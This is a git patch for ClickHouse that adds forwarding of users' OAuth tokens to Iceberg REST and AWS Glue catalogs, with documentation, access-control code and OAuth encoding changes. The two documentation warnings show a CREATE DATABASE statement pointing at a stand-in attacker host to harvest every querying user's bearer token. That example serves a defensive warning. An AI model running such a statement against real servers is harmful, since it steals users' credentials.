From 1072cc38707843809634fff69007065953d359f4 Mon Sep 17 00:00:00 2001 From: Andrey Zvonov <32552679+zvonand@users.noreply.github.com> Date: Mon, 21 Sep 2026 14:14:57 +0200 Subject: [PATCH 1/8] Forward auth tokens to data lake catalogs A `DataLakeCatalog` database contacted its catalog as one shared service identity, so the catalog could not see, authorize or audit the human behind a query, and every ClickHouse user got identical catalog and storage access. With `oauth_forward_user_token = 1` the catalog is contacted as the user running the query. It requires the server-level `enable_token_forwarding` setting -- off by default, and re-read on every forwarded request, so turning it off stops already-authenticated sessions from forwarding -- and users who authenticated with a token (`Authorization: Bearer`, or `--jwt` on the native protocol). The token is carried on the session and copied into the query context. There is no service session to fall back to: a query without a token fails with `CATALOG_USER_TOKEN_NOT_AVAILABLE` instead of reaching the catalog as the service principal. How the token is used depends on the catalog type; the setting is rejected for every other type rather than silently ignored: - An Iceberg REST catalog takes bearer tokens directly, optionally after an RFC 8693 exchange at `oauth_token_exchange_uri`, with `oauth_subject_token_type` / `oauth_requested_token_type` describing the token and `oauth_forward_actor_token` sending the service principal's own token as the `actor_token` for delegation. Exchanged session tokens and the credentials the catalog vends are cached per user, bounded by `oauth_user_token_cache_ttl` and `vended_credentials_cache_ttl`. - Glue authenticates with AWS SigV4 and takes no bearer token, so the token goes to AWS STS instead: `AssumeRoleWithWebIdentity` against `aws_role_arn` returns temporary credentials that sign every Glue request and the S3 reads that follow, with the ClickHouse user name as the `RoleSessionName`. The Glue client and its credentials provider are built per user and cached on the token fingerprint, so one user is never handed another's session. `CREATE DATABASE` rejects the combinations that could not be honoured: forwarding without `aws_role_arn`, with static `aws_access_key_id` / `aws_secret_access_key`, or with `oauth_token_exchange_uri`. Rotating credentials with `ALTER DATABASE ... MODIFY SETTING catalog_credential` is carried out as the calling user when forwarding is on, and an `auth_generation` counter scopes every cached token and vended credential to the credentials it was minted under, so a request that authenticated before the ALTER cannot put a rotated-away artifact back into the caches. A lazy `/v1/config` load racing with the same ALTER is dropped rather than republishing the credentials it started with. An asynchronous insert keeps the token verified when it was pushed and flushes under it; the token's fingerprint takes part in the queue key, so inserts authenticated with different tokens never share a batch. Tests: the `test_datalake_token_forwarding`, `test_datalake_glue_token_forwarding` and `test_datalake_sso_lakekeeper` (Keycloak with Lakekeeper) integration suites; `gtest_rest_catalog_token_forwarding` and `gtest_sts_assume_role_with_web_identity` unit tests; the `05027_datalake_token_forwarding_masking`, `05028_datalake_token_forwarding_fail_closed` and `05053_glue_token_forwarding_validation` stateless tests. --- docs/en/engines/database-engines/datalake.md | 182 +++ .../external-authenticators/tokens.md | 48 + src/Access/AccessControl.cpp | 12 + src/Access/AccessControl.h | 6 + src/Access/ForwardedAuthToken.cpp | 18 + src/Access/ForwardedAuthToken.h | 31 + src/Client/OAuthFlowRunner.cpp | 36 +- src/Client/OAuthFlowRunner.h | 1 - src/Client/OAuthLogin.cpp | 7 +- src/Common/CurrentMetrics.cpp | 4 + src/Common/ErrorCodes.cpp | 1 + src/Common/FormUrlEncode.cpp | 15 + src/Common/FormUrlEncode.h | 13 + src/Common/ProfileEvents.cpp | 9 + src/Core/ServerSettings.cpp | 16 + src/Databases/DataLake/Common.cpp | 9 + src/Databases/DataLake/Common.h | 4 + src/Databases/DataLake/DataLakeConstants.h | 2 + src/Databases/DataLake/DatabaseDataLake.cpp | 187 ++- src/Databases/DataLake/DatabaseDataLake.h | 9 +- .../DataLake/DatabaseDataLakeSettings.cpp | 6 + src/Databases/DataLake/GlueCatalog.cpp | 225 +++- src/Databases/DataLake/GlueCatalog.h | 66 +- src/Databases/DataLake/HiveCatalog.cpp | 6 +- src/Databases/DataLake/HiveCatalog.h | 7 +- src/Databases/DataLake/ICatalog.cpp | 48 +- src/Databases/DataLake/ICatalog.h | 53 +- src/Databases/DataLake/PaimonRestCatalog.cpp | 6 +- src/Databases/DataLake/PaimonRestCatalog.h | 7 +- src/Databases/DataLake/RestCatalog.cpp | 752 +++++++++--- src/Databases/DataLake/RestCatalog.h | 272 ++++- src/Databases/DataLake/S3TablesCatalog.cpp | 34 +- src/Databases/DataLake/S3TablesCatalog.h | 19 +- src/Databases/DataLake/UnityCatalog.cpp | 9 +- src/Databases/DataLake/UnityCatalog.h | 11 +- .../DataLake/tests/gtest_rest_catalog.cpp | 252 ++-- .../gtest_rest_catalog_token_forwarding.cpp | 1083 +++++++++++++++++ .../DataLake/tests/rest_catalog_test_server.h | 231 ++++ src/Databases/IDatabase.h | 2 +- src/IO/S3/Credentials.cpp | 111 +- src/IO/S3/Credentials.h | 58 +- src/IO/S3/tests/TestPocoHTTPServer.h | 56 +- ...test_sts_assume_role_with_web_identity.cpp | 110 ++ .../Access/InterpreterExecuteAsQuery.cpp | 5 + src/Interpreters/AsynchronousInsertQueue.cpp | 13 + src/Interpreters/AsynchronousInsertQueue.h | 13 +- src/Interpreters/Context.cpp | 6 + src/Interpreters/Context.h | 9 + src/Interpreters/InterpreterCheckQuery.cpp | 2 +- src/Interpreters/Session.cpp | 23 + src/Interpreters/Session.h | 6 + .../tests/gtest_async_insert_key.cpp | 41 +- .../Iceberg/ExpireSnapshotsExecute.cpp | 2 +- .../DataLakes/Iceberg/IcebergMetadata.cpp | 9 +- .../DataLakes/Iceberg/IcebergWrites.cpp | 2 +- .../DataLakes/Iceberg/Mutations.cpp | 4 +- .../ObjectStorage/StorageObjectStorage.cpp | 3 +- .../ObjectStorage/StorageObjectStorage.h | 3 + ...ompose_iceberg_lakekeeper_oidc_catalog.yml | 160 +++ .../__init__.py | 0 .../configs/token_forwarding.xml | 37 + .../configs/users.xml | 17 + .../s3_mocks/mock_sts.py | 87 ++ .../test.py | 274 +++++ .../test_datalake_sso_lakekeeper/__init__.py | 0 .../configs/cluster.xml | 18 + .../configs/session_log.xml | 12 + .../configs/token_forwarding.xml | 34 + .../configs/users.xml | 15 + .../keycloak/realm-export.json | 131 ++ .../test_datalake_sso_lakekeeper/test.py | 537 ++++++++ .../__init__.py | 0 .../configs/token_forwarding.xml | 37 + .../configs/users.xml | 17 + .../test_datalake_token_forwarding/test.py | 625 ++++++++++ ...atalake_token_forwarding_masking.reference | 19 + ...05027_datalake_token_forwarding_masking.sh | 84 ++ ...ake_token_forwarding_fail_closed.reference | 18 + ...8_datalake_token_forwarding_fail_closed.sh | 75 ++ ...glue_token_forwarding_validation.reference | 11 + .../05053_glue_token_forwarding_validation.sh | 51 + 81 files changed, 5813 insertions(+), 621 deletions(-) create mode 100644 src/Access/ForwardedAuthToken.cpp create mode 100644 src/Access/ForwardedAuthToken.h create mode 100644 src/Common/FormUrlEncode.cpp create mode 100644 src/Common/FormUrlEncode.h create mode 100644 src/Databases/DataLake/tests/gtest_rest_catalog_token_forwarding.cpp create mode 100644 src/Databases/DataLake/tests/rest_catalog_test_server.h create mode 100644 src/IO/S3/tests/gtest_sts_assume_role_with_web_identity.cpp create mode 100644 tests/integration/compose/docker_compose_iceberg_lakekeeper_oidc_catalog.yml create mode 100644 tests/integration/test_datalake_glue_token_forwarding/__init__.py create mode 100644 tests/integration/test_datalake_glue_token_forwarding/configs/token_forwarding.xml create mode 100644 tests/integration/test_datalake_glue_token_forwarding/configs/users.xml create mode 100644 tests/integration/test_datalake_glue_token_forwarding/s3_mocks/mock_sts.py create mode 100644 tests/integration/test_datalake_glue_token_forwarding/test.py create mode 100644 tests/integration/test_datalake_sso_lakekeeper/__init__.py create mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/cluster.xml create mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/session_log.xml create mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/token_forwarding.xml create mode 100644 tests/integration/test_datalake_sso_lakekeeper/configs/users.xml create mode 100644 tests/integration/test_datalake_sso_lakekeeper/keycloak/realm-export.json create mode 100644 tests/integration/test_datalake_sso_lakekeeper/test.py create mode 100644 tests/integration/test_datalake_token_forwarding/__init__.py create mode 100644 tests/integration/test_datalake_token_forwarding/configs/token_forwarding.xml create mode 100644 tests/integration/test_datalake_token_forwarding/configs/users.xml create mode 100644 tests/integration/test_datalake_token_forwarding/test.py create mode 100644 tests/queries/0_stateless/05027_datalake_token_forwarding_masking.reference create mode 100755 tests/queries/0_stateless/05027_datalake_token_forwarding_masking.sh create mode 100644 tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.reference create mode 100755 tests/queries/0_stateless/05028_datalake_token_forwarding_fail_closed.sh create mode 100644 tests/queries/0_stateless/05053_glue_token_forwarding_validation.reference create mode 100755 tests/queries/0_stateless/05053_glue_token_forwarding_validation.sh diff --git a/docs/en/engines/database-engines/datalake.md b/docs/en/engines/database-engines/datalake.md index 14713eb75154..62af4ff0950d 100644 --- a/docs/en/engines/database-engines/datalake.md +++ b/docs/en/engines/database-engines/datalake.md @@ -61,6 +61,12 @@ The following settings are supported: | `dlf_access_key_id` | Access key ID for DLF access | | `dlf_access_key_secret` | Access key Secret for DLF access | | `namespaces` | Comma-separated list of namespaces, implemented for catalog types: `rest`, `glue` and `unity` | +| `oauth_forward_user_token` | Authenticate to the catalog as the user running the query instead of as the shared service identity. Iceberg REST and Glue only. See [Forwarding the user's identity to the catalog](#user-token-forwarding) | +| `oauth_token_exchange_uri` | Empty (the default) forwards the user's token unchanged; non-empty performs an RFC 8693 token exchange at this URL first | +| `oauth_subject_token_type` | RFC 8693 `subject_token_type` of the forwarded token. Default `urn:ietf:params:oauth:token-type:access_token` | +| `oauth_requested_token_type` | RFC 8693 `requested_token_type`; empty omits the field. Default `urn:ietf:params:oauth:token-type:access_token` | +| `oauth_forward_actor_token` | Send the service principal's own token as the RFC 8693 `actor_token`. Default `0`. See [Delegation with an actor token](#user-token-forwarding-actor-token) | +| `oauth_user_token_cache_ttl` | Maximum lifetime (in seconds) of a cached exchanged session token; `0` disables caching. Default `300` | ## Examples {#examples} @@ -86,6 +92,182 @@ SELECT count() from database_name.table_name; ``` To authenticate without sharing a client secret, set `onelake_bearer_token` to a pre-obtained bearer token (scoped to `https://storage.azure.com`) instead of `onelake_client_id`/`onelake_client_secret`. ClickHouse does not refresh the token, so the database must be recreated after it expires. +## Forwarding the user's identity to the catalog {#user-token-forwarding} + +By default ClickHouse talks to a catalog as a single shared service identity -- `catalog_credential` +or `auth_header` for an Iceberg REST catalog, static AWS keys or an assumed role for Glue. The +catalog therefore cannot see, authorize or audit the human behind a query, and every ClickHouse user +gets identical catalog and storage access. + +With `oauth_forward_user_token = 1` the catalog is contacted as the user who is running the query. +The identity that authenticated to ClickHouse becomes the identity the catalog authorizes, and the +storage credentials that identity gets are scoped to it. + +This requires: + +- the server-level [`enable_token_forwarding`](/operations/server-configuration-parameters/settings#enable_token_forwarding) + setting, which is `false` by default. Without it the token is destroyed right after + authentication and nothing can be forwarded; +- `catalog_type = 'rest'` or `catalog_type = 'glue'`. No other catalog type can authenticate as the + querying user, so the setting is rejected for them rather than silently ignored; +- users who authenticate with a token -- an `Authorization: Bearer` HTTP header, or `--jwt` for the + native protocol. See [Token-based authentication](/en/operations/external-authenticators/oauth). + +How the token is used depends on the catalog. An Iceberg REST catalog accepts bearer tokens, so the +token is presented to it directly, optionally after an exchange. Glue does not: it authenticates +with AWS SigV4, so the token never goes to the catalog at all and is exchanged at AWS STS for +temporary credentials instead. See [Glue](#user-token-forwarding-glue). + +:::danger `CREATE DATABASE` becomes a privileged operation +The token is sent to the URL that whoever created the database chose. With forwarding enabled, +anyone who can run `CREATE DATABASE d ENGINE = DataLakeCatalog('https://attacker.example/')` can +harvest the bearer token of every user who queries that database. Grant `CREATE DATABASE` +accordingly and keep `remote_url_allow_hosts` restrictive. +::: + +The sections up to [Glue](#user-token-forwarding-glue) describe the Iceberg REST catalog. + +### Passthrough: the default {#user-token-forwarding-passthrough} + +On its own, `oauth_forward_user_token = 1` forwards the user's bearer token to the catalog +unchanged. This is what Lakekeeper, Nessie and Polaris-with-an-external-IdP accept, and it needs no +token endpoint and no client credentials: + +```sql +CREATE DATABASE demo +ENGINE = DataLakeCatalog('http://lakekeeper:8181/catalog') +SETTINGS + catalog_type = 'rest', + warehouse = 'demo', + oauth_forward_user_token = 1; +``` + +Because one token is presented both to ClickHouse and to the catalog, its audience must cover +both. With Keycloak this usually means adding an audience mapper to the ClickHouse client so the +issued token carries the catalog's audience as well. + +### Token exchange: opt-in {#user-token-forwarding-exchange} + +Setting `oauth_token_exchange_uri` switches to an [RFC 8693](https://www.rfc-editor.org/rfc/rfc8693) +token exchange against that URL, and the token obtained there is what the catalog sees. The +presence of the URI *is* the mode -- there is no separate mode setting. + +Point it at your IdP's token endpoint to obtain a token whose audience the catalog accepts (the +flow Lakekeeper documents): + +```sql +CREATE DATABASE demo +ENGINE = DataLakeCatalog('http://lakekeeper:8181/catalog') +SETTINGS + catalog_type = 'rest', + warehouse = 'demo', + catalog_credential = 'clickhouse:', + auth_scope = 'lakekeeper', + oauth_forward_user_token = 1, + oauth_token_exchange_uri = 'http://keycloak:8080/realms/demo/protocol/openid-connect/token'; +``` + +The exchange request authenticates itself with `client_id`/`client_secret` parsed out of +`catalog_credential`, sent in the form body -- standard OAuth token-endpoint client authentication. +`catalog_credential` is therefore mandatory when `oauth_token_exchange_uri` is set, and optional +otherwise. `auth_scope` is reused as the exchange `scope`; its default value `PRINCIPAL_ROLE:ALL` +is Polaris-specific and must be overridden for other targets (`scope = 'lakekeeper'` for +Keycloak to Lakekeeper). + +`oauth_token_exchange_uri` may also point at a catalog's own `/v1/oauth/tokens` endpoint. Note that +the Iceberg REST specification marks that endpoint **deprecated for removal** ("not recommended to +implement… will be removed in Iceberg 2.0"), and several widely deployed catalogs (Lakekeeper among +them) do not implement it at all. That is why the endpoint can only be reached by writing its URL +out in full. + +### Delegation with an actor token {#user-token-forwarding-actor-token} + +By default the exchange asks for plain impersonation: the token the catalog sees names the user and +nothing else. With `oauth_forward_actor_token = 1` the exchange also carries an `actor_token`, so a +server that implements RFC 8693 delegation can see both parties -- `sub` is the user and `act` is +ClickHouse -- and log or authorize accordingly. The setting requires `oauth_token_exchange_uri` and +is rejected without it. + +The actor token is the service principal's own token, obtained with a `client_credentials` grant +against `oauth_server_uri` (or the catalog's `/v1/oauth/tokens` when that setting is empty) using +the credentials from `catalog_credential`. It is minted on first use and reused until it expires, +and it is only ever sent as `actor_token` -- no catalog request is signed with it. Because of it, +the `DataLakeRestCatalogAuthTokenRetrieve` profile event is expected to be non-zero with this +setting on; with it off, a non-zero value while forwarding means a request fell back to the shared +identity. + +If minting the actor token fails, the query fails. ClickHouse does not fall back to an exchange +without delegation: silently downgrading is exactly what enabling the setting asks to avoid. + +Only turn it on against a server that can validate the token. An IdP cannot validate a token it did +not issue for that purpose and will normally reject the whole exchange. + +### Glue {#user-token-forwarding-glue} + +AWS Glue authenticates with SigV4, never with a bearer token, so there is nothing to forward to it. +Instead the user's token is presented to AWS STS as a web identity: ClickHouse calls +`AssumeRoleWithWebIdentity` against `aws_role_arn` with that token, and the temporary credentials +it returns sign every Glue and S3 request the query makes. The `RoleSessionName` is the +ClickHouse user name, which is what CloudTrail records for those calls. + +```sql +CREATE DATABASE glue_db +ENGINE = DataLakeCatalog +SETTINGS + catalog_type = 'glue', + region = 'us-east-1', + aws_role_arn = 'arn:aws:iam::123456789012:role/data-lake-reader', + oauth_forward_user_token = 1; +``` + +On the AWS side this needs the identity provider that issues your users' tokens registered as an +IAM OIDC identity provider, and a role whose trust policy accepts those tokens -- normally matched +on their `aud` and `sub` claims. The tokens ClickHouse authenticates users with and the tokens the +role trusts have to be the same tokens. + +Differences from the Iceberg REST catalog: + +- `aws_role_arn` is required. There is no forwarding without a role to assume. +- `aws_access_key_id` and `aws_secret_access_key` are rejected. Static keys are a second identity + and would be used instead of the assumed one. +- `oauth_token_exchange_uri` and the other RFC 8693 settings are rejected. The exchange happens at + AWS STS, whose endpoint follows from `region`. +- How much of the user's identity actually reaches authorization is an AWS question, not a + ClickHouse one. `AssumeRoleWithWebIdentity` grants the permissions of the role, so every user who + can assume it gets the same access unless you distinguish them further -- one role per group of + users, or session tags matched by Lake Formation tag policies. Fine-grained per-user + authorization on Glue needs AWS IAM Identity Center trusted identity propagation, which + ClickHouse does not implement. + +### What is and is not covered {#user-token-forwarding-scope} + +- Every catalog request made on behalf of a query carries the user's identity: listing namespaces + and tables, loading table metadata, and the write paths (`INSERT`, `ALTER`, mutations, + `DROP TABLE`, snapshot expiry). +- Storage credentials vended by the catalog are cached per principal, so one user never receives + the credentials the catalog issued to another. For Glue, the assumed session is cached per user + token for the same reason, and signs the S3 reads as well as the Glue calls. +- Requests with no user token are refused with `CATALOG_USER_TOKEN_NOT_AVAILABLE`. ClickHouse never + falls back to the service identity: that would turn an authorization failure into a query that + succeeds under the wrong identity. `system.tables` and `SHOW TABLES` swallow catalog errors by + design, so there they show an empty list rather than an error. +- SSO ends at the catalog. When `object_storage_cluster` is set, the table-scoped credentials the + catalog vended are sent to the worker nodes as query-AST literals over the interserver channel. + Configure `interserver_https_port` or a cluster `` before combining forwarding with a + cluster read. +- HTTP re-authenticates on every request, so a rotated token takes effect immediately. A native + TCP connection authenticates once at handshake time, so a long-lived `clickhouse-client --jwt` + session must reconnect to pick up a fresh token. +- Rotate `catalog_credential` in place with `ALTER DATABASE ... MODIFY SETTING` (Iceberg REST only; + a Glue catalog's settings cannot be altered). With token + forwarding enabled, authenticate the statement with a user token. When token exchange is + configured, ClickHouse exchanges that token using the new credentials. It reloads the catalog + configuration as that user before applying the change. A successful rotation invalidates cached + session tokens and vended storage credentials. + +None of the forwarding settings hold a secret, so unlike `catalog_credential` they are shown in +full by `SHOW CREATE DATABASE` and `system.databases.engine_full`. + ## Namespace filter {#namespace} By default, ClickHouse reads tables from all namespaces available in the catalog. You can limit this behavior using the `namespaces` database setting. The value should be a comma‑separated list of namespaces that are allowed to be read. diff --git a/docs/en/operations/external-authenticators/tokens.md b/docs/en/operations/external-authenticators/tokens.md index 4bc2151c2498..3b9cb0f5dd89 100644 --- a/docs/en/operations/external-authenticators/tokens.md +++ b/docs/en/operations/external-authenticators/tokens.md @@ -300,6 +300,54 @@ To reduce number of requests to IdP, tokens are cached internally for a maximum If token expires sooner than `token_cache_lifetime`, then cache entry for this token will only be valid while token is valid. If token lifetime is longer than `token_cache_lifetime`, cache entry for this token will be valid for `token_cache_lifetime`. +## Forwarding the token to external services {#token-forwarding} + +By default the bearer token a user authenticated with is destroyed as soon as authentication +succeeds: it lives only on the stack of the HTTP or native protocol handler and reaches neither +the session nor the query context. + +Setting `enable_token_forwarding` to `1` in `config.xml` keeps the token on the session so it can +be presented to an external service on the user's behalf: + +```xml +1 +``` + +The only consumer today is the [`DataLakeCatalog`](/engines/database-engines/datalakecatalog) +database engine, whose `oauth_forward_user_token` setting makes an Iceberg REST catalog or a Glue +catalog authorize the human running the query instead of a shared service identity. See +[Forwarding the user's identity to the catalog](/engines/database-engines/datalakecatalog#user-token-forwarding) +for the database side. + +The setting is hot-reloadable, and is `false` by default because it widens where the secret lives: +without it the only copy is the private token cache inside `ExternalAuthenticators`, with it the +token is reachable from any storage or table function that receives the query context. + +:::danger `CREATE DATABASE` becomes a privileged operation +A forwarded token is sent to a URL chosen by whoever created the database it is forwarded for. +With forwarding enabled, the right to run +`CREATE DATABASE d ENGINE = DataLakeCatalog('https://attacker.example/')` is the right to harvest +the bearer token of every user who queries that database. Grant it accordingly, and keep +`remote_url_allow_hosts` restrictive -- it is enforced on the token-exchange endpoint as well as +on catalog requests. +::: + +What is forwarded is always the token that was actually verified for this session. It is +deliberately not carried in `ClientInfo`, so it is not copied into a context rebuilt by +`EXECUTE AS` or by a DEFINER view, cannot be supplied by a peer over the interserver protocol, and +is never serialized to the wire or to disk. + +Because HTTP re-authenticates on every request, a rotated token takes effect on the next query. A +native TCP connection authenticates once during the handshake, so a long-running +`clickhouse-client --jwt` session keeps presenting the token it connected with and must reconnect +to pick up a fresh one. + +With `async_insert=1`, the queued batch retains the verified token until its flush finishes, +even if the originating session has already ended with `wait_for_async_insert=0`. The flush +uses that token to access the catalog. Inserts authenticated with different tokens are placed +in separate batches, including when the same user rotates their token; rotation does not +replace the token of an already queued batch. + ## Enabling token authentication for a user in `users.xml` {#enabling-jwt-auth-in-users-xml} In order to enable token-based authentication for the user, specify `jwt` section instead of `password` or other similar sections in the user definition. diff --git a/src/Access/AccessControl.cpp b/src/Access/AccessControl.cpp index a5ff29f87202..c6b1e79ccdb8 100644 --- a/src/Access/AccessControl.cpp +++ b/src/Access/AccessControl.cpp @@ -295,6 +295,7 @@ void AccessControl::setupFromMainConfig(const Poco::Util::AbstractConfiguration setPasswordComplexityRulesFromConfig(config_); setTokenAuthEnabled(config_.getBool("enable_token_auth", true)); + setTokenForwardingEnabled(config_.getBool("enable_token_forwarding", false)); setBcryptWorkfactor(config_.getInt("bcrypt_workfactor", 12)); @@ -705,6 +706,7 @@ void AccessControl::setExternalAuthenticatorsConfig(const Poco::Util::AbstractCo /// value in place -- operators who toggle token auth off in response to an /// IdP outage or a credential leak would see no effect until restart. setTokenAuthEnabled(config.getBool("enable_token_auth", true)); + setTokenForwardingEnabled(config.getBool("enable_token_forwarding", false)); external_authenticators->setConfiguration(config, getLogger(), token_http_timeouts, isTokenAuthEnabled()); } @@ -994,4 +996,14 @@ bool AccessControl::isTokenAuthEnabled() const { return enable_token_auth; } + +void AccessControl::setTokenForwardingEnabled(bool enable) +{ + enable_token_forwarding = enable; +} + +bool AccessControl::isTokenForwardingEnabled() const +{ + return enable_token_forwarding; +} } diff --git a/src/Access/AccessControl.h b/src/Access/AccessControl.h index fa57e5c5bf80..3398ea1f325c 100644 --- a/src/Access/AccessControl.h +++ b/src/Access/AccessControl.h @@ -283,6 +283,11 @@ class AccessControl : public MultipleAccessStorage void setTokenAuthEnabled(bool enable); bool isTokenAuthEnabled() const; + /// Controls whether the token a user authenticated with is retained on the session so that it + /// can be forwarded to external services on that user's behalf. Off by default. + void setTokenForwardingEnabled(bool enable); + bool isTokenForwardingEnabled() const; + private: class ContextAccessCache; class CustomSettingsPrefixes; @@ -320,6 +325,7 @@ class AccessControl : public MultipleAccessStorage std::atomic_bool enable_read_write_grants = false; std::atomic_bool allow_impersonate_user = false; std::atomic_bool enable_token_auth = true; + std::atomic_bool enable_token_forwarding = false; }; } diff --git a/src/Access/ForwardedAuthToken.cpp b/src/Access/ForwardedAuthToken.cpp new file mode 100644 index 000000000000..fdc3d6fa6dca --- /dev/null +++ b/src/Access/ForwardedAuthToken.cpp @@ -0,0 +1,18 @@ +#include + +#include +#include + +namespace DB +{ + +ForwardedAuthTokenPtr makeForwardedAuthToken(const TokenCredentials & credentials, const String & principal) +{ + auto result = std::make_shared(); + result->token = credentials.getToken(); + result->fingerprint = getSipHash128AsHexString(sipHash128(result->token.data(), result->token.size())); + result->principal = principal; + return result; +} + +} diff --git a/src/Access/ForwardedAuthToken.h b/src/Access/ForwardedAuthToken.h new file mode 100644 index 000000000000..6146979dcf88 --- /dev/null +++ b/src/Access/ForwardedAuthToken.h @@ -0,0 +1,31 @@ +#pragma once + +#include + +#include + +namespace DB +{ + +class TokenCredentials; + +/// The bearer token a user authenticated to ClickHouse with, captured so that it can be forwarded +/// to an external service (an Iceberg REST catalog, or AWS STS on the way to Glue) on that user's +/// behalf. Written in exactly one place -- `Session::authenticate` -- and never serialized. +struct ForwardedAuthToken +{ + /// Secret. Never log it, never put it in an exception message, never put it in a URL. + String token; + /// Non-secret cache key derived from `token`. Used instead of the user name so that a cached + /// response cannot outlive the credential that produced it. + String fingerprint; + /// Non-secret: the authenticated user name, for logs, metrics and per-user cache partitioning. + String principal; +}; + +using ForwardedAuthTokenPtr = std::shared_ptr; + +/// `principal` must be the canonical `AuthResult::user_name`, not the name the client sent. +ForwardedAuthTokenPtr makeForwardedAuthToken(const TokenCredentials & credentials, const String & principal); + +} diff --git a/src/Client/OAuthFlowRunner.cpp b/src/Client/OAuthFlowRunner.cpp index 753b315212a0..384993509bb6 100644 --- a/src/Client/OAuthFlowRunner.cpp +++ b/src/Client/OAuthFlowRunner.cpp @@ -8,6 +8,7 @@ #include #include +#include #include #include @@ -356,13 +357,6 @@ void copyStreamWithLimit(std::istream & in, std::string & out, std::size_t max_b } } -std::string urlEncodeOAuth(const std::string & value) -{ - std::string result; - Poco::URI::encode(value, "", result); - return result; -} - Poco::JSON::Object::Ptr postOAuthForm(const std::string & url, const std::string & body) { Poco::URI uri(url); @@ -467,11 +461,11 @@ std::string runOAuthAuthCodeFlow(const OAuthCredentials & creds) std::string auth_url = creds.auth_uri + "?response_type=code" - "&client_id=" + urlEncodeOAuth(creds.client_id) - + "&redirect_uri=" + urlEncodeOAuth(redirect_uri) + "&client_id=" + formUrlEncode(creds.client_id) + + "&redirect_uri=" + formUrlEncode(redirect_uri) + "&code_challenge=" + pkce.challenge + "&code_challenge_method=S256" - + "&scope=" + urlEncodeOAuth(provider_policy->getAuthCodeScope()) + + "&scope=" + formUrlEncode(provider_policy->getAuthCodeScope()) + "&state=" + csrf_state; if (provider_policy->useAccessTypeOfflineForAuthCode()) auth_url += "&access_type=offline"; @@ -537,15 +531,15 @@ std::string runOAuthAuthCodeFlow(const OAuthCredentials & creds) std::string body = "grant_type=authorization_code" - "&code=" + urlEncodeOAuth(received_code) - + "&redirect_uri=" + urlEncodeOAuth(redirect_uri) - + "&client_id=" + urlEncodeOAuth(creds.client_id) - + "&code_verifier=" + urlEncodeOAuth(pkce.verifier); + "&code=" + formUrlEncode(received_code) + + "&redirect_uri=" + formUrlEncode(redirect_uri) + + "&client_id=" + formUrlEncode(creds.client_id) + + "&code_verifier=" + formUrlEncode(pkce.verifier); /// Confidential clients append the registered secret; public clients /// (PKCE-only) must omit the parameter entirely. An empty value is not /// equivalent to omission and is rejected by several IdPs as invalid_client. if (!creds.client_secret.empty()) - body += "&client_secret=" + urlEncodeOAuth(creds.client_secret); + body += "&client_secret=" + formUrlEncode(creds.client_secret); auto resp = postOAuthForm(creds.token_uri, body); if (resp->has("error")) @@ -568,14 +562,14 @@ std::string runOAuthAuthCodeFlow(const OAuthCredentials & creds) std::string buildDeviceAuthorizationRequestBody(const OAuthCredentials & creds, const std::string & scope) { std::string body - = "client_id=" + urlEncodeOAuth(creds.client_id) - + "&scope=" + urlEncodeOAuth(scope); + = "client_id=" + formUrlEncode(creds.client_id) + + "&scope=" + formUrlEncode(scope); /// Per RFC 8628 §3.1 a confidential client must authenticate on the /// device authorization request the same way as on the token endpoint. /// See runOAuthAuthCodeFlow() above: omit the parameter for public /// clients, do not send an empty value. if (!creds.client_secret.empty()) - body += "&client_secret=" + urlEncodeOAuth(creds.client_secret); + body += "&client_secret=" + formUrlEncode(creds.client_secret); return body; } @@ -670,11 +664,11 @@ std::string runOAuthDeviceFlow(OAuthCredentials creds) std::string poll_body = "grant_type=urn:ietf:params:oauth:grant-type:device_code" - "&device_code=" + urlEncodeOAuth(device_code) - + "&client_id=" + urlEncodeOAuth(creds.client_id); + "&device_code=" + formUrlEncode(device_code) + + "&client_id=" + formUrlEncode(creds.client_id); /// See runOAuthAuthCodeFlow() above: omit, do not send empty. if (!creds.client_secret.empty()) - poll_body += "&client_secret=" + urlEncodeOAuth(creds.client_secret); + poll_body += "&client_secret=" + formUrlEncode(creds.client_secret); auto resp = postOAuthForm(creds.token_uri, poll_body); if (resp->has("error")) diff --git a/src/Client/OAuthFlowRunner.h b/src/Client/OAuthFlowRunner.h index eea43a97fe88..5731c9779ca8 100644 --- a/src/Client/OAuthFlowRunner.h +++ b/src/Client/OAuthFlowRunner.h @@ -34,7 +34,6 @@ constexpr int OAUTH_HTTP_TIMEOUT_SECONDS = 30; /// untrusted OAuth/OIDC endpoints. void copyStreamWithLimit(std::istream & in, std::string & out, std::size_t max_bytes); -std::string urlEncodeOAuth(const std::string & value); Poco::JSON::Object::Ptr postOAuthForm(const std::string & url, const std::string & body); /// Build the form body of the RFC 8628 device authorization request. Exposed diff --git a/src/Client/OAuthLogin.cpp b/src/Client/OAuthLogin.cpp index d95dc0c00917..2d098c709da8 100644 --- a/src/Client/OAuthLogin.cpp +++ b/src/Client/OAuthLogin.cpp @@ -4,6 +4,7 @@ #if USE_JWT_CPP && USE_SSL #include +#include #include #include @@ -310,12 +311,12 @@ std::string tryRefreshToken(const OAuthCredentials & creds, const std::string & { std::string body = "grant_type=refresh_token" - "&client_id=" + urlEncodeOAuth(creds.client_id) - + "&refresh_token=" + urlEncodeOAuth(refresh_token); + "&client_id=" + formUrlEncode(creds.client_id) + + "&refresh_token=" + formUrlEncode(refresh_token); /// Public clients (no registered secret) must omit the parameter /// entirely; see loadOAuthCredentials() for the rationale. if (!creds.client_secret.empty()) - body += "&client_secret=" + urlEncodeOAuth(creds.client_secret); + body += "&client_secret=" + formUrlEncode(creds.client_secret); auto resp = postOAuthForm(creds.token_uri, body); if (resp->has("error")) diff --git a/src/Common/CurrentMetrics.cpp b/src/Common/CurrentMetrics.cpp index a36be7839914..6c835cc977ff 100644 --- a/src/Common/CurrentMetrics.cpp +++ b/src/Common/CurrentMetrics.cpp @@ -372,6 +372,10 @@ M(DNSAddressesCacheSize, "Number of cached DNS addresses") \ M(MarkCacheBytes, "Total size of mark cache in bytes") \ M(MarkCacheFiles, "Total number of mark files cached in the mark cache") \ + M(DataLakeCatalogUserTokenCacheBytes, "Total size in bytes of the per-user session tokens exchanged for data lake catalog access") \ + M(DataLakeCatalogUserTokenCacheEntries, "Total number of per-user session tokens exchanged for data lake catalog access") \ + M(DataLakeCatalogUserClientCacheBytes, "Total size in bytes of the per-user catalog clients built from forwarded user tokens") \ + M(DataLakeCatalogUserClientCacheEntries, "Total number of per-user catalog clients built from forwarded user tokens") \ M(UniqueKeyIndexCacheBytes, "Total size of 